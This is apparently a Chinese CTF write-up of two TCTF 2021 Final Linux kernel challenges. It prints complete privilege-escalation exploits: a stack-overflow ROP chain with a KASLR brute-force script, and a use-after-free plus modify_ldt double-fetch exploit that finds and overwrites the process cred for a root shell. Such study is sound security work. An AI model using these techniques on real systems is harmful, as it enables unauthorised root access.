本文最后更新于:2023年8月13日 晚上
欧皇与非酋的对决
0x00.一切开始之前 官方题解见此处
前些日子(好像是上个月的事情了)打了 TCTF 2021 FINAL,其中刚好有两道 Linux kernel pwn 题,笔者在比赛期间没有多少头绪,最近趁有时间复现了一下
0x01.kbrops
这个题目比赛时没做出来,笔者原以为会有一种很高端很 nb 的解法,但是后面发现大家的解法都是嗯爆破…赛后看了其他选手的题解发现比想象中简单太多了…签到题难度都算不上…但是很屑
大一的小朋友都能做出来的屑题,笔者不知道为什么会出现在 TCTF FINAL 中
什么,你问为什么新星赛里这道题是 0 解?
可能是因为大家都太非了吧
一、题目分析 保护 查看 /sys/devices/system/cpu/vulnerabilities/
开启了 KPTI(内核页表隔离,一般简称页表隔离(PTI),笔者更喜欢用全称)
查看启动脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 #!/bin/bash stty intr ^]cd `dirname $0 `timeout --foreground 300 qemu-system-x86_64 \ -m 256M \ -enable-kvm \ -cpu host,+smep,+smap \ -kernel bzImage \ -initrd initramfs.cpio.gz \ -nographic \ -monitor none \ -drive file=flag.txt,format=raw \ -snapshot \ -append "console=ttyS0 kaslr kpti quiet oops=panic panic=1"
开了 smap、smep、kaslr 保护
在这里并没有像常规的 kernel pwn 那样把 flag 权限设为 root 600 放在文件系统里,而是将 flag 作为一个设备载入,因此我们需要读取 /dev/sda
以获取 flag,仍然需要 root 权限
逆向分析
整个程序只定义了一个 ioctl 的 0x666 功能,会取我们传入的前两个字节作为后续拷贝的 size,之后 kmalloc 一个 object,从我们传入的第三个字节开始拷贝,之后再从 object 拷贝到栈上,因为两个字节最大就是 0xffff,所以这里直接就有一个裸的栈溢出
二、漏洞利用 既然目前有了栈溢出,而且没有 stack canary 保护,比较朴素的提权方法就是执行 commit_creds(prepare_kernel_cred(NULL))
提权到 root,但是由于开启了 kaslr,因此我们还需要知道 kernel offset,但是毫无疑问的是只有一个裸的溢出是没法让我们直接泄漏出内核中的数据的
这里 r3kapig 给出的解法是假装他没有这个 kaslr,然后直接硬打 ,据称大概试个几百次就能成功
这里放笔者某位朋友的一句名言(
赛后在 discord 群组中讨论,得知 kaslr 的随机化只有 9位,可以直接进行爆破
笔者写了个爆破偏移用的 exp :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 #include <sys/types.h> #include <sys/ioctl.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #define PREPARE_KERNEL_CRED 0xffffffff81090c20 #define COMMIT_CREDS 0xffffffff810909b0 #define POP_RDI_RET 0xffffffff81001619 #define SWAPGS_RET 0xffffffff81b66d10 #define IRETQ_RET 0xffffffff8102984b #define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0Xffffffff81c00df0 size_t user_cs, user_ss, user_rflags, user_sp;void saveStatus () { __asm__("mov user_cs, cs;" "mov user_ss, ss;" "mov user_sp, rsp;" "pushf;" "pop user_rflags;" ); printf ("\033[34m\033[1m[*] Status has been saved.\033[0m\n" ); }void getRootShell (void ) { puts ("\033[32m\033[1m[+] Backing from the kernelspace.\033[0m" ); if (getuid()) { puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" ); exit (-1 ); } puts ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m" ); system("/bin/sh" ); }int main (int argc, char ** argv, char ** envp) { char *buf; size_t *stack ; int i; int chal_fd; size_t offset; offset = (argv[1 ]) ? atoi(argv[1 ]) : 0 ; saveStatus(); buf = malloc (0x2000 ); memset (buf, 'A' , 0x2000 ); i = 0 ; stack = (size_t *)(buf + 0x102 ); stack [i++] = *(size_t *)"arttnba3" ; stack [i++] = *(size_t *)"arttnba3" ; stack [i++] = POP_RDI_RET + offset; stack [i++] = 0 ; stack [i++] = PREPARE_KERNEL_CRED + offset; stack [i++] = COMMIT_CREDS + offset; stack [i++] = SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22 + offset; stack [i++] = 0 ; stack [i++] = 0 ; stack [i++] = (size_t ) getRootShell; stack [i++] = user_cs; stack [i++] = user_rflags; stack [i++] = user_sp; stack [i++] = user_ss; ((unsigned short *)(buf))[0 ] = 0x112 + i * 8 ; chal_fd = open("/proc/chal" , O_RDWR); ioctl(chal_fd, 0x666 , buf); return 0 ; }
这里 ROP 链布局中 prepare_kernel_cred
后直接就到 commit_creds
是因为经过笔者调试发现在执行完 prepare_kernel_cred
后此时的 rax 与 rdi 都指向 root cred,因此不需要再 mov rdi, rax
打远程用的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 from pwn import *import base64with open ("./exp" , "rb" ) as f: exp = base64.b64encode(f.read()) p = process('./run.sh' ) try_count = 1 while True : log.info("no." + str (try_count) + " time(s)" ) p.sendline() p.recvuntil("~ $" ) count = 0 for i in range (0 , len (exp), 0x200 ): p.sendline("echo -n \"" + exp[i:i + 0x200 ].decode() + "\" >> b64_exp" ) count += 1 for i in range (count): p.recvuntil("~ $" ) p.sendline("cat b64_exp | base64 -d > ./exploit" ) p.sendline("chmod +x ./exploit" ) randomization = (try_count % 1024 ) * 0x100000 log.info('trying randomization: ' + hex (randomization)) p.sendline("./exploit " + str (randomization)) if not p.recvuntil(b"Rebooting in 1 seconds.." , timeout=60 ): break log.warn('failed!' ) try_count += 1 log.success('success to get the root shell!' ) p.interactive()
反正笔者在本地没打通过,属于是屑题
笔者原本以为会有一种特别高端特别 NB 的方法来绕过 KASLR,实现 Kernel BROP ,后面发现纯粹就拼脸 ,脸好就能拿到flag
r3kapig 的 wp 上还展示了一个“小技巧”:众所周知在开启 KPTI 的情况下直接返回用户态会 segmentation fault,这个时候我们可以把原来的返回地址 getRootShell 函数设为 SIGSEGV 信号的处理函数 ,这样原先的 swapgs ; iretq
的方法就可以继续用了
那为什么不直接用 swapgs_restore_regs_and_return_to_usermode 呢
0x02.kernote 一、题目分析 这一题的题解笔者主要还是参照着官方的题解来写的,是本场比赛中给笔者带来收获最大的一道 kernel pwn 题
文件系统 与一般的 kernel pwn 题不同的是,这一次给出的文件系统不是简陋的 ramfs 而是常规的 ext4 镜像文件,我们可以使用 mount
命令将其挂载以查看并修改其内容
1 $ sudo mount rootfs.img /mnt/temp
本地调试时直接将文件复制到挂载点下即可,在 umount
之后修改会自动生效
保护 我们首先查看题目提供的 README.md
:
Here are some kernel config options in case you need it
1 2 3 4 5 6 CONFIG_SLAB =yCONFIG_SLAB_FREELIST_RANDOM =yCONFIG_SLAB_FREELIST_HARDENED =yCONFIG_HARDENED_USERCOPY =yCONFIG_STATIC_USERMODEHELPER =yCONFIG_STATIC_USERMODEHELPER_PATH =""
我们可以看到的是出题人在编译内核时并没有选择默认的 slub 分配器,而是选择了 slab
分配器,后续我们解题的过程也与 slab 的特征有关
开启了 Random Freelist(slab 的 freelist 会进行一定的随机化)
开启了 Hardened Freelist(slab 的 freelist 中的 object 的 next 指针会与一个 cookie 进行异或(参照 glibc 的 safe-linking))
开启了 Hardened Usercopy(在向内核拷贝数据时会进行检查,检查地址是否存在、是否在堆栈中、是否为 slab 中 object、是否非内核 .text 段内地址等等 )
开启了 Static Usermodehelper Path(modprobe_path 为只读,不可修改)
接下来分析启动脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 #!/bin/sh qemu-system-x86_64 \ -m 128M \ -kernel ./bzImage \ -hda ./rootfs.img \ -append "console=ttyS0 quiet root=/dev/sda rw init=/init oops=panic panic=1 panic_on_warn=1 kaslr pti=on" \ -monitor /dev/null \ -smp cores=2,threads=2 \ -nographic \ -cpu kvm64,+smep,+smap \ -no-reboot \ -snapshot \ -s
开启了 SMAP & SMEP(用户空间数据访问(access)、执行(execute)保护)
开启了 KASLR(内核地址空间随机化)
开启了 KPTI(内核页表隔离)
逆向分析 题目给出了一个内核模块 kernote.ko
,按惯例这便是存在漏洞的内核模块
拖入 IDA 进行分析,不能看出是常见的内核菜单堆形式,只定义了 ioctl且加了🔒
0x6667. 分配 object 0x6667 功能可以分配 object,在这里存在一个全局指针数组 buf 用以存放 object 指针,我们最多可以同时存放 0xF 个 object 指针,而分配的大小限定为 0x8
在这里有一个 slab 与 slub 相不同的点:对于以往的 slub 分配器而言,若是我们 kmalloc(8) 则通常会从 kmalloc-8
中取大小为 8 的 object;但是在 slab 源码中有如下定义:
内核源码版本5.11,include/linux/slab.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 #ifdef CONFIG_SLAB #define KMALLOC_SHIFT_HIGH ((MAX_ORDER + PAGE_SHIFT - 1) <= 25 ? \ (MAX_ORDER + PAGE_SHIFT - 1) : 25) #define KMALLOC_SHIFT_MAX KMALLOC_SHIFT_HIGH #ifndef KMALLOC_SHIFT_LOW #define KMALLOC_SHIFT_LOW 5 #endif #endif #ifndef KMALLOC_MIN_SIZE #define KMALLOC_MIN_SIZE (1 << KMALLOC_SHIFT_LOW) #endif
即 slab 分配器分配的 object 的大小最小为 32 ,那么我们应当是从 kmalloc-32
中取 object
阅读源码我们可以发现 slab 为 32, 而 slob 和 slub 都是 8
0x6666. 保存 object 指针到全局变量 note 这个功能将 buf 数组中指定 object 指针存放到全局变量 note 中,我们不难想到这里可能会有 UAF ,后续分析我们可以发现确实如此
0x6668. 释放指定 object 比较纯粹的 free 功能,注意到这里是释放的 buf 数组内 object 后清空,但是没有清空 note 数组 ,一个 UAF 已经呼之欲出了
0x6669. 向 note 指向 object 内写入 8 字节 UAF 已经贴脸了()
0x666A. 打印 note 所存 object 地址(无效功能) 比赛的时候分析得比较痛苦的一个功能…赛后出题人说这个功能写来玩的(🔨)
一开始首先从一个奇怪的地方取了一个值,虽然赛后看出题人写的源代码不是这个样子,但众所周知内核的很多宏展开及多层结构体套娃给逆向工作带来极大困难
笔者在比赛期间猜测应当是 current_task->cred
中某个值,后面找了对应内核版本源码自己写了个内核模块瞎猜偏移,最后试出来是current_task->cred->user->__count
前面这一段代码首先给 current_task->cred->user
的引用计数器 __count
成员 + 1,对应内核函数 refcount_inc()
,多层套娃调用展开后如下:
1 2 3 4 5 6 7 8 9 10 11 12 static inline void __refcount_add(int i, refcount_t *r, int *oldp) { int old = atomic_fetch_add_relaxed(i, &r->refs); if (oldp) *oldp = old; if (unlikely(!old)) refcount_warn_saturate(r, REFCOUNT_ADD_UAF); else if (unlikely(old < 0 || old + i < 0 )) refcount_warn_saturate(r, REFCOUNT_ADD_OVF); }
那么这段代码就不难理解了(不用理解了),v6 指向current_task->cred->user->__count
,而 __count
是 user_struct 结构体的第一个成员,也就是 v6 指向 current_task->cred->user
赛后看出题人给的源码,这一段代码其实就只是一个 get_current_user()
那么下面的代码我们很容易看出是检测 current_task->cred->user->uid->val
(uid 里面就封装了一个 val) 是否为0 ,若为 0 也就是 root 才会进入到 kernote_ioctl_cold 中
最终 kernote_ioctl_cold 会打印 note 中存的 object 的地址,但是我们一开始肯定不是 root 所以这个功能没有任何意义
这个功能当时还差点让笔者分析错方向,我们前面已经有了一个 UAF,但在此处调用 get_current_user() 时 user 的引用计数器(user->__count)自动 + 1,而在结束时并没有让引用计数器自减 1(没有“释放”掉引用),这本身也算是一个 bug,但实质上与解题是无关的 bug
当然,这个 bug 也没法帮助我们完成提权
因而官方当时发了这样一个公告:
由于笔者的英文水平自从上了大学之后便几乎没有长进,在笔者看来——release
指的应该就是 free
,也就是说指的是前面的垂悬指针并不是题目的考察点(那这还怎么解题啊),于是有了如下对话:
虽然最后直到比赛结束笔者也没解出这道题
二、漏洞利用 那么我们现在只有一个 UAF,而且只能写 8 字节,没法直接泄露内核相关数据,分配的 object 大小限制为 32,这无疑为我们的解题增添了一定难度
ldt_struct 结构体 笔者参照官方题解选择使用 ldt_struct
这个内核结构体进行进一步利用,这里先简单讲一下这是个什么东西:
ldt 即局部段描述符表 (Local Descriptor Table ),其中存放着进程的 段描述符,段寄存器当中存放着的段选择子便是段描述符表中段描述符的索引
该结构体定义于内核源码 arch/x86/include/asm/mmu_context.h
中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 struct ldt_struct { struct desc_struct *entries ; unsigned int nr_entries; int slot; };
该结构体大小仅为 0x10,在分配时 slab 分配器毫无疑问会从 kmalloc-32 中取,且我们可控的其前八个字节又刚好是一个指针,为我们后续的利用提供了一定的便利性
desc_struct 结构体 我们所能控制的 entries 指针为 desc_struct
结构体,即段描述符 ,定义于 /arch/x86/include/asm/desc_defs.h
中,如下:
1 2 3 4 5 6 7 struct desc_struct { u16 limit0; u16 base0; u16 base1: 8 , type: 4 , s: 1 , dpl: 2 , p: 1 ; u16 limit1: 4 , avl: 1 , l: 1 , d: 1 , g: 1 , base2: 8 ; } __attribute__((packed));
低 32 位
31~16
15~0
段基址的 15~0 位
段界限的 15~0 位
段基址 32 位,段界限为 20 位,其所能够表示的地址范围为:
段基址 + (段粒度大小 x (段界限+1)) - 1
高 32 位
31~24
23
22
21
20
19~16
15
14~13
12
11~8
7~0
段基址的 31~24 位
G
D/B
L
AVL
段界限的 19 ~16 位
P
DPL
S
TYPE
段基址的 23~16 位
各参数便不在此赘叙了,具其构造可以参见全局描述符表(Global Descriptor Table) - arttnba3.cn
modify_ldt 系统调用 Linux 提供给我们一个叫 modify_ldt
的系统调用,通过该系统调用我们可以获取或修改当前进程的 LDT
我们来看一下在内核中这个系统调用是如何操纵 ldt 的,该系统调用定义于 /arch/x86/kernel/ldt.c
中,如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 SYSCALL_DEFINE3(modify_ldt, int , func , void __user * , ptr , unsigned long , bytecount) { int ret = -ENOSYS; switch (func) { case 0 : ret = read_ldt(ptr, bytecount); break ; case 1 : ret = write_ldt(ptr, bytecount, 1 ); break ; case 2 : ret = read_default_ldt(ptr, bytecount); break ; case 0x11 : ret = write_ldt(ptr, bytecount, 0 ); break ; } return (unsigned int )ret; }
我们应当传入三个参数:func、ptr、bytecount,其中 ptr 应为指向 user_desc
结构体的指针,参照 man page 可知该结构体如下:
1 2 3 4 5 6 7 8 9 10 11 struct user_desc { unsigned int entry_number; unsigned int base_addr; unsigned int limit; unsigned int seg_32bit:1 ; unsigned int contents:2 ; unsigned int read_exec_only:1 ; unsigned int limit_in_pages:1 ; unsigned int seg_not_present:1 ; unsigned int useable:1 ; };
read_ldt():内核任意地址读 定义于 /arch/x86/kernel/ldt.c
中,我们主要关注如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 static int read_ldt (void __user *ptr, unsigned long bytecount) { if (copy_to_user(ptr, mm->context.ldt->entries, entries_size)) { retval = -EFAULT; goto out_unlock; } out_unlock: up_read(&mm->context.ldt_usr_sem); return retval; }
在这里会直接调用 copy_to_user 向用户地址空间拷贝数据 ,我们不难想到的是若是能够控制 ldt->entries 便能够完成内核的任意地址读,由此泄露出内核数据
write_ldt():分配新的 ldt_struct 结构体 定义于 /arch/x86/kernel/ldt.c
中,我们主要关注如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 static int write_ldt (void __user *ptr, unsigned long bytecount, int oldmode) { error = -EINVAL; if (bytecount != sizeof (ldt_info)) goto out; error = -EFAULT; if (copy_from_user(&ldt_info, ptr, sizeof (ldt_info))) goto out; error = -EINVAL; if (ldt_info.entry_number >= LDT_ENTRIES) goto out; old_ldt = mm->context.ldt; old_nr_entries = old_ldt ? old_ldt->nr_entries : 0 ; new_nr_entries = max(ldt_info.entry_number + 1 , old_nr_entries); error = -ENOMEM; new_ldt = alloc_ldt_struct(new_nr_entries); if (!new_ldt) goto out_unlock; if (old_ldt) memcpy (new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE); new_ldt->entries[ldt_info.entry_number] = ldt; install_ldt(mm, new_ldt); unmap_ldt_struct(mm, old_ldt); free_ldt_struct(old_ldt); error = 0 ; out_unlock: up_write(&mm->context.ldt_usr_sem); out: return error; }
我们注意到在 write_ldt() 当中会使用 alloc_ldt_struct() 函数来为新的 ldt_struct 分配空间,随后将之应用到进程, alloc_ldt_struct() 函数定义于 arch/x86/kernel/ldt.c
中,我们主要关注如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 static struct ldt_struct *alloc_ldt_struct (unsigned int num_entries) { struct ldt_struct *new_ldt ; unsigned int alloc_size; if (num_entries > LDT_ENTRIES) return NULL ; new_ldt = kmalloc(sizeof (struct ldt_struct), GFP_KERNEL);
可以看到的是,ldt_struct 结构体通过 kmalloc() 从 kmalloc-xx
中取,对于 slab 分配器即为从 kmalloc-32
中取,由此我们可以得到如下解题思路:
先分配一个 object 后释放
通过 write_ldt() 将这个 object 重新取回
通过 UAF 更改 ldt->entries
通过 read_ldt() 搜索内核地址空间
接下来我们考虑如何完成提权
解法一:遍历内存修改进程 cred 提权(官方解法) 这个解法是官方给出的解法,利用 modify_ldt 系统调用完成对内核空间的遍历与修改
Step I. 泄露 page_offset_base 由于开启了 kaslr 的缘故,我们需要想方法泄露内核空间相关地址,在这里官方题解给出了一种美妙的解法——我们可以直接爆破内核地址 :对于无效的地址,copy_to_user 会返回非 0 值,此时 read_ldt() 的返回值便是 -EFAULT
,当 read_ldt() 执行成功时,说明我们命中了内核空间
爆破代码逻辑很容易就能写出来:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 struct user_desc desc ;size_t kernel_base = 0xffffffff81000000 ;size_t temp;int retval; chunkSet(0 ); chunkDel(0 ); syscall(SYS_modify_ldt, 1 , &desc, sizeof (desc));while (1 ) { chunkEdit(kernel_base); retval = syscall(SYS_modify_ldt, 0 , &temp, 8 ); if (retval >= 0 ) break ; kernel_base += 0x200000 ; }
但是本题开启了 hardened usercopy
保护,当 copy_to_user() 的源地址为内核 .text 段(_stext, _etext)时会引起 kernel panic
那么这里我们可以考虑更改思路——搜索物理地址直接映射区
,我们的 task_struct 结构体便在这一块区域内 ,只要我们找到本进程的 task_struct,更改 cred 的 uid 为 0,也能够完成提权
物理地址直接映射区即 direct mapping area,即线性映射区 (不是线代那个线性映射),这块区域的线性地址到物理地址空间的映射是连续的 ,kmalloc 便从此处分配内存
而 vmalloc 则从 vmalloc/ioremap space 分配内存,起始地址为 vmalloc_base
,这一块区域到物理地址间的映射是不连续的
这一块区域的起始地址称之为 page_offset_base
,其地址为 0xffff888000000000
(参见 这↑里↓ ),我们从这个地址开始搜索即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 struct user_desc desc ;size_t page_offset_base = 0xffff888000000000 ;int retval; chunkSet(0 ); chunkDel(0 ); syscall(SYS_modify_ldt, 1 , &desc, sizeof (desc));while (1 ) { chunkEdit(page_offset_base); retval = syscall(SYS_modify_ldt, 0 , &desc, 8 ); if (retval >= 0 ) break ; page_offset_base += 0x2000000 ; }
Step II. 泄露进程 task_struct 地址 阅读 task_struct
源码,观察到其主体凭证下方有个特殊的字段 comm
:
/include/linux/sched.h
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 struct task_struct { const struct cred __rcu *ptracer_cred ; const struct cred __rcu *real_cred ; const struct cred __rcu *cred ;#ifdef CONFIG_KEYS struct key *cached_requested_key ;#endif char comm[TASK_COMM_LEN]; struct nameidata *nameidata ; };
这个字段便是该进程的名字,且其位置刚好在 cred 附近,我们只需要从 page_offset_base
开始找当前进程的名字便能够找到当前进程的 task_struct
使用 prctl 系统调用我们可以修改当前进程的 task_struct 的 comm 字段,这样我们便能够更方便地进行查找:
1 prctl(PR_SET_NAME, "arttnba3pwn!" );
但是我们不能够直接搜索整个线性映射区域,这仍有可能触发 hardened usercopy 的检查,在这里官方给出了一个美妙的解法:
观察 fork 系统调用的源码,我们可以发现如下执行链:
1 2 3 4 5 6 7 8 sys_fork () kernel_clone () copy_process () copy_mm () dup_mm () dup_mmap () arch_dup_mmap () ldt_dup_context ()
ldt_dup_context() 定义于 arch/x86/kernel/ldt.c
中,注意到如下逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 int ldt_dup_context (struct mm_struct *old_mm, struct mm_struct *mm) { memcpy (new_ldt->entries, old_mm->context.ldt->entries, new_ldt->nr_entries * LDT_ENTRY_SIZE); }
在这里会通过 memcpy 将父进程的 ldt->entries 拷贝给子进程,是完全处在内核中的操作 ,因此不会触发 hardened usercopy 的检查,我们只需要在父进程中设定好搜索的地址之后再开子进程来用 read_ldt() 读取数据即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 cur_pid = getpid(); prctl(PR_SET_NAME, "arttnba3pwnn" ); pipe(pipe_fd); buf = (char *) mmap(NULL , 0x8000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); search_addr = page_offset_base; cred_addr = 0 ;while (1 ) { chunkEdit(search_addr); int ret = fork(); if (!ret) { signal(SIGSEGV, die); syscall(SYS_modify_ldt, 0 , buf, 0x8000 ); result_addr = (size_t *) memmem(buf, 0x8000 , "arttnba3pwnn" , 12 ); if (result_addr \ && (result_addr[-2 ] > page_offset_base) \ && (result_addr[-3 ] > page_offset_base) \ && (((int ) result_addr[-58 ]) == cur_pid)) { cred_addr = result_addr[-2 ]; printf ("\033[32m\033[1m[+] Found cred: \033[0m%lx\n" , cred_addr); } write(pipe_fd[1 ], &cred_addr, 8 ); exit (0 ); } wait(NULL ); read(pipe_fd[0 ], &cred_addr, 8 ); if (cred_addr) break ; search_addr += 0x8000 ; }
这里需要注意一点就是 uid 的类型为 int,笔者因为这个疏忽卡了好一阵子…
Step III. double fetch 更改进程 uid 完成提权 在我们获得了 cred 的地址之后,我们只需要将 cred->euid 更改为 0 就能拥有 root 权限,之后再调用 setreuid ()
等一系列函数完成全面的提权
现在我们考虑如何在内核空间中进行任意写,这一次我们仍然借助 modify_ldt() 系统调用来达到我们的目的,重新回到 write_ldt()
函数的主体逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 static int write_ldt (void __user *ptr, unsigned long bytecount, int oldmode) { old_ldt = mm->context.ldt; old_nr_entries = old_ldt ? old_ldt->nr_entries : 0 ; new_nr_entries = max(ldt_info.entry_number + 1 , old_nr_entries); error = -ENOMEM; new_ldt = alloc_ldt_struct(new_nr_entries); if (!new_ldt) goto out_unlock; if (old_ldt) memcpy (new_ldt->entries, old_ldt->entries, old_nr_entries * LDT_ENTRY_SIZE); new_ldt->entries[ldt_info.entry_number] = ldt; }
我们可以看到的是,在 memcpy 时所拷贝的字节数为 old_ldt->nr_entries * LDT_ENTRY_SIZE
,其中前者的上限值与后者都定义于 arch/x86/include/uapi/asm/ldt.h
中,如下:
1 2 3 4 #define LDT_ENTRIES 8192 #define LDT_ENTRY_SIZE 8
那么这个数据量相对较大,拷贝需要用到一定的时间,而在拷贝结束后有一句 new_ldt->entries[ldt_info.entry_number] = ldt
,其中 ldt 为我们传入的数据,我们不难想到的是可以通过条件竞争的方式在 memcpy 过程中将 new_ldt->entries 更改为我们的目标地址从而完成任意地址写 ,即 double fetch
在这里为了提高利用的成功率,笔者参照官方题解中使用 sched_setaffinity
将相应的进程绑定到单个 CPU 上(在 run.sh 中定义了两个核),需要注意的是编译时需包含 #define _GNU_SOURCE
在这里有几个令笔者所不解的点 ,目前暂时还没联系上出题人(都过去一个月了谁还看discord啊):
在开子进程任意写之前要先将当前的 old_ldt->entries
设为 cred_addr + 4
,不然成功率会大幅下降
任意写时需先分配 index 为 1~ 15 的 object,并全部释放,选取其中的 index 11
来进行任意写,其他的 index 都会失败,仅分配一个 object 也会失败
FINAL EXPLOIT 最终的 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 #define _GNU_SOURCE #include <sys/types.h> #include <sys/ioctl.h> #include <sys/prctl.h> #include <sys/syscall.h> #include <sys/mman.h> #include <sys/wait.h> #include <asm/ldt.h> #include <stdio.h> #include <signal.h> #include <pthread.h> #include <unistd.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <ctype.h> long kernote_fd;void errExit (char * msg) { printf ("\033[31m\033[1m[x] %s \033[0m\n" , msg); exit (EXIT_FAILURE); }void chunkSet (int index) { ioctl(kernote_fd, 0x6666 , index); }void chunkAdd (int index) { ioctl(kernote_fd, 0x6667 , index); }void chunkDel (int index) { ioctl(kernote_fd, 0x6668 , index); }void chunkEdit (size_t data) { ioctl(kernote_fd, 0x6669 , data); }void chunkFuck (void ) { ioctl(kernote_fd, 0x666A ); }void getRootShell (void ) { if (getuid()) { puts ("\033[31m\033[1m[x] Failed to get the root!\033[0m" ); exit (-1 ); } puts ("\033[32m\033[1m[+] Successful to get the root. Execve root shell now...\033[0m" ); system("/bin/sh" ); }int main (int argc, char ** argv, char ** envp) { struct user_desc desc ; size_t page_offset_base = 0xffff888000000000 ; size_t temp; int retval; size_t cred_addr; size_t search_addr; size_t per_search_addr; size_t *result_addr; int cur_pid; char *buf; int pipe_fd[2 ] = {0 }; cpu_set_t cpu_set; printf ("\033[34m\033[1m[*] Start to exploit... \033[0m\n" ); desc.base_addr = 0xff0000 ; desc.entry_number = 0x8000 / 8 ; desc.limit = 0 ; desc.seg_32bit = 0 ; desc.contents = 0 ; desc.limit_in_pages = 0 ; desc.lm = 0 ; desc.read_exec_only = 0 ; desc.seg_not_present = 0 ; desc.useable = 0 ; kernote_fd = open("/dev/kernote" , O_RDWR); chunkAdd(0 ); chunkSet(0 ); chunkDel(0 ); syscall(SYS_modify_ldt, 1 , &desc, sizeof (desc)); while (1 ) { chunkEdit(page_offset_base); retval = syscall(SYS_modify_ldt, 0 , &temp, 8 ); if (retval >= 0 ) break ; page_offset_base += 0x4000000 ; } printf ("\033[32m\033[1m[+] Found page_offset_base: \033[0m%lx\n" , page_offset_base); cur_pid = getpid(); prctl(PR_SET_NAME, "arttnba3pwnn" ); pipe(pipe_fd); buf = (char *) mmap(NULL , 0x8000 , PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0 , 0 ); search_addr = page_offset_base; cred_addr = 0 ; while (1 ) { chunkEdit(search_addr); retval = fork(); if (!retval) { syscall(SYS_modify_ldt, 0 , buf, 0x8000 ); result_addr = (size_t *) memmem(buf, 0x8000 , "arttnba3pwnn" , 12 ); if (result_addr \ && (result_addr[-2 ] > page_offset_base) \ && (result_addr[-3 ] > page_offset_base) \ && (((int ) result_addr[-58 ]) == cur_pid)) { cred_addr = result_addr[-2 ]; printf ("\033[32m\033[1m[+] Found cred: \033[0m%lx\n" , cred_addr); } write(pipe_fd[1 ], &cred_addr, 8 ); exit (0 ); } wait(NULL ); read(pipe_fd[0 ], &cred_addr, 8 ); if (cred_addr) break ; search_addr += 0x8000 ; } retval = fork(); if (!retval) { retval = fork(); if (!retval) { CPU_ZERO(&cpu_set); CPU_SET(0 , &cpu_set); sched_setaffinity(0 , sizeof (cpu_set), &cpu_set); sleep(1 ); for (int i = 1 ; i < 15 ; i++) chunkAdd(i); chunkSet(11 ); for (int i = 1 ; i < 15 ; i++) chunkDel(i); CPU_ZERO(&cpu_set); CPU_SET(1 , &cpu_set); sched_setaffinity(0 , sizeof (cpu_set), &cpu_set); while (1 ) chunkEdit(cred_addr + 4 ); } CPU_ZERO(&cpu_set); CPU_SET(0 , &cpu_set); sched_setaffinity(0 , sizeof (cpu_set), &cpu_set); desc.base_addr = 0 ; desc.entry_number = 2 ; desc.limit = 0 ; desc.seg_32bit = 0 ; desc.contents = 0 ; desc.limit_in_pages = 0 ; desc.lm = 0 ; desc.read_exec_only = 0 ; desc.seg_not_present = 0 ; desc.useable = 0 ; sleep(3 ); syscall(SYS_modify_ldt, 1 , &desc, sizeof (desc)); sleep(114514 ); } sleep(10 ); if (geteuid()) errExit("FAILED TO GET THE ROOT!" ); puts ("\033[32m\033[1m[+] SUCCESSFUL to get the ROOT, execve ROOT SHELL soom...\033[0m" ); setreuid(0 ,0 ); setregid(0 ,0 ); system("/bin/sh" ); return 0 ; }
打远程的脚本可以参照 kbrop 的
不一定能一次成功,有的时候需要多试几次,笔者个人推测应当是 freelist 随机化的缘故
解法二:劫持 seq_operations 利用 pt_regs 进行 ROP 完成稳定化提权 这个解法是笔者结合官方的解法与冠军战队 organizers 的解法得来的新解法 ,前面两步基本上和官方解法是一样的,都是利用 modify_ldt 系统调用读取内核空间的数据,不同的是笔者在这一步中选择读出内核“堆”上存储的指针以泄露内核基址,最后劫持 seq_operations 进行稳定化提权
